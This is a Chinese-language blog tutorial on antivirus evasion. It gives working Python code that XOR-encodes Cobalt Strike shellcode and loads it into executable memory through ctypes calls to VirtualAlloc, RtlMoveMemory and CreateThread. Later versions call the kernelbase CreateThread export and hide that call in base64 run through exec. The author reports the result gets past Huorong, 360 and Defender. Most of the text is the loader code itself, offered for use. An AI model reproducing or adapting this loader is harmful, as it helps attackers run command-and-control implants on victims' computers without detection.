简单的手法过杀软
Author:ILU
学的越多,才知道自己的渺小
前言
因为我个人深入学习的第一门语言是python,所以相对于C来说,利用python去写免杀脚本会比用C来写的轻松。
但是在实践当中发现在C语言中杀软对于写入内存的相关的函数监控的十分严格(比如:memcpy
,memmove
,RtlCopyMemory
,RtlMoveMemory
,RtlWriteMemory
等),但是我个人水平又没达到那种可以任意hook的程度。所以,就想着方法饶绕一绕。对于做免杀来讲,我们要做的其实是把木马等文件的特征码
进行隐藏。让杀软识别不出原有特征,这样我们也就达到了免杀的目的。
既然C监控的很死,那么我们可以利用其他语言进行编写免杀脚本,相对的,没有直接利用C的东西,那么其特征也就相对的不一样了。
本篇文章实现的是利用python编写免杀脚本绕过内存写入函数的检测过掉火绒
、360
、defender
。
正题
文章我用的CS的shellcode,对于处理shellcode 的话相对来说是比较简单的,就很简单的异或就行,我们要深入处理的是敏感函数。
首先利用CS生成raw格式的shellcode,然后用py读取shellcode对其中的字节一个一个的做处理、做异或。
异或代码
import argparse
def xorEncode(file, key, output):
xorShellcode = ""
shellcodeSize = 0
while True:
code = file.read(1)
if not code:
break
xor = ord(code) ^ key
xor_code = hex(xor).replace("0x","")
if len(xor_code) == 1:
xor_code = f'0{xor_code}'
xorShellcode += f'\\x{xor_code}'
shellcodeSize += 1
file.close()
output.write(xorShellcode)
output.close()
print(f"shellcodeSize: {shellcodeSize}")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Python XOR Encoder")
parser.add_argument('-f', '--file', help="input raw file", type=argparse.FileType('rb'))
parser.add_argument('-k', '--key', help="xor key", type=int, default=50)
parser.add_argument('-o', '--output', help="output shellcode file", type=argparse.FileType('w+'))
args = parser.parse_args()
xorEncode(args.file, args.key, args.output)
通过以上的代码就可以对shellcode做简单混淆处理就ok了,然后我们现在来了解一下如何用py调用shellcode。
ctypes
ctypes是python 内置的一个模块,可以实现动态链接库的调用以及C语言结构的相关的编程。既然此库可以调用动态链接,也就意味着我们可以调用动态链接库中的函数。
我们需要关注的动态链接库主要有kernel32.dll
、user32.dll
、ntdll.dll
,这三个动态链接库对于windows操作系统来说是非常重要的动态链接库文件。对于我们写免杀脚本来讲,要用到的函数大部分都在这三个动态链接库文件里了。
怎么调用动态链接库文件?
ctypes提供了三种方式:cdll,windll,oledll。cdll 载入按标准的 cdecl
调用协议导出的函数,而 windll 导入的库按 stdcall
调用协议调用其中的函数。 oledll 也按 stdcall
调用协议调用其中的函数,并假定该函数返回的是 Windows HRESULT
错误代码,并当函数调用失败时,自动根据该代码甩出一个 OSError
异常。
用到的函数
# virtualalloc: 申请虚拟内存
LPVOID VirtualAlloc(
LPVOID lpAddress, // 指定要分配的区域的期望起始地址。一般为null
SIZE_T dwSize, // 要分配的堆栈大小
DWORD flAllocationType, // 类型的分配
DWORD flProtect // 内存的执行权限
);
// 属性解释
flAllocationType:
MEM_COMMIT: 在内存或磁盘上的分页文件中为指定的内存页区域分配物理存储。该函数将内存初始化为零。(提交到物理内存)
MEM_REVERSE: 保留一定范围的进程虚拟地址空间,而不在内存或磁盘上的分页文件中分配任何实际物理存储。(保留虚拟内存)
flProtect:
PAGE_EXECUTE_READWRITE: 内存页分配为可读可写可执行
PAGE_READWRITE: 内存页分配为可读可写
#RtlMoveMemory: 将一个缓冲区的内容复制到另一个缓冲区。
VOID RtlMoveMemory(
IN VOID UNALIGNED *Destination, // 要复制到的目标
IN CONST VOID UNALIGNED *Source, // 要转移的内存块
IN SIZE_T Length // 内存块大小
);
# CreateThread: 创建线程
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性,一般设置为0或者null
SIZE_T dwStackSize, // 初始栈大小, 设置为0
LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址
LPVOID lpParameter, // 线程参数,没传参即为0
DWORD dwCreationFlags, // 创建线程标志,对线程做控制的
LPDWORD lpThreadId // 线程id
);
# WaitForSingleObject: 等待线程执行完毕
DWORD WaitForSingleObject(
HANDLE hHandle, // 句柄
DWORD dwMilliseconds // 等待标志, 常用INFINITE, 即为无限等待线程执行完毕
);
以上函数都是C中的定义,我们在python中编写需要遵循此函数定义,具体参数的值可通过查阅MSDN文档去做详细了解。
免杀代码
import ctypes
# xor shellcode
XorBuf = "把生成的xor shellcode复制到此处"
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x00001000),
ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
ctypes.c_uint64(lpMemory),
buffer,
ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
hThread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(lpMemory),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待线程执行完毕在终止进程
kernel32.WaitForSingleObject(hThread, -1)
我们先来基本的调用流程是否能够上线CS。
可以看到是能够正常上线的,现在我们对其进行编译,看能否过掉杀软。这里我用推荐用auto-py-to-exe
这个pyinstaller的插件方便快捷。
编译完成后,发现正常代码下,火绒对生成的exe文件是有检测报毒的,说明其中存在相关特征码。那么这里,可以通过笨方法去找出特征码:注释代码,一行一行的找,然后编译。哪行注释不报毒就说明特征码存在在那行。
那么这里值得一提的是在python中,对于shellcode写入内存检测并没有很严格,杀的是CreateThread
这个函数,所以我们只需要绕过这个函数即可,绕过的方式太多了,我就举一个例子把。
我们这里可以把kernel32.dll理解为多个dll文件的集合体,意思就是这个动态链接库文件,是对其他dll文件中的函数做了转发,所以我们只要通过调试,或者导出其他动态链接库文件的导出表即可获得更底层的api函数。那这里比如说通过调试得知kernel32.dll函数中CreateThread
这个函数调用了kernelbase.dll
中的CreateThread
这个函数,那么kernelbase.dll调用的哪个dll文件中的CreateThread函数的话也是可以获取到的。我想表达的是不同的dll动态链接库文件它们的函数地址是不一样的,也就意味了他们的特征码不一样,可能会出现函数不在特征库当中,虽然同名功能一样。
那么这里我们稍微做一下处理。
import ctypes
# xor shellcode
XorBuf = ""
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 获取kernelbase
kernelbase = ctypes.windll.kernelbase
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x00001000),
ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
ctypes.c_uint64(lpMemory),
buffer,
ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
hThread = kernelbase.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(lpMemory),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
kernel32.WaitForSingleObject(hThread, -1)
看一下上线情况是否正常。
好了,到这里我们可以看到正常上线,然后我们编译看看结果怎么样。
结果有点尴尬,前段时间我这么做还是稳稳当当,没想到现在啪啪打脸,不要慌。我们对CreateThread这行代码做一下base64加密,让它动态执行此代码。
import base64
base64.b64encode(b"""hThread = ntdll.ZwCreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(lpMemory),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)""").decode()
然后我们把base64加密后的代码进行动态执行。
import ctypes
import base64
# xor shellcode
XorBuf = ""
# xor key
key = 35
# 还原xor shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
# 获取kernelbase
kernelbase = ctypes.windll.kernelbase
# 指定VirtualAlloc的返回值类型
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请虚拟内存
# 0x00001000 MEM_COMMIT 内存页标志,指提交到物理内存
# 0x40 PAGE_EXECUTE_READWRITE 设置内存页权限为可读可写可执行
lpMemory = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x00001000),
ctypes.c_int(0x40)
)
# 把shellcode写入缓冲区
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
# 把shellcode写入申请的虚拟内存
kernel32.RtlMoveMemory(
ctypes.c_uint64(lpMemory),
buffer,
ctypes.c_int(len(buf))
)
# 以线程的方式调用shellcode
# print(base64.b64encode(b"""hThread = kernelbase.CreateThread(
# ctypes.c_int(0),
# ctypes.c_int(0),
# ctypes.c_uint64(lpMemory),
# ctypes.c_int(0),
# ctypes.c_int(0),
# ctypes.pointer(ctypes.c_int(0))
# )""").decode())
exec(base64.b64decode(b"aFRocmVhZCA9IGtlcm5lbGJhc2UuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfdWludDY0KGxwTWVtb3J5KSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQ==").decode())
kernelbase.WaitForSingleObject(hThread, -1)
跑完后再看看编译效果。
现在火绒就不再对编译生成的文件报毒了,看一下上线情况。
此处正常上线,并且虚拟机的defender未报毒,360未报毒我盲猜核晶应该也可以过。虽然,一开始说的不同dll文件中的函数效果会不同这个玩意翻车了。但是这东西是可行的,可能是我之前丢给沙箱然后给无了。
上过杀软截图。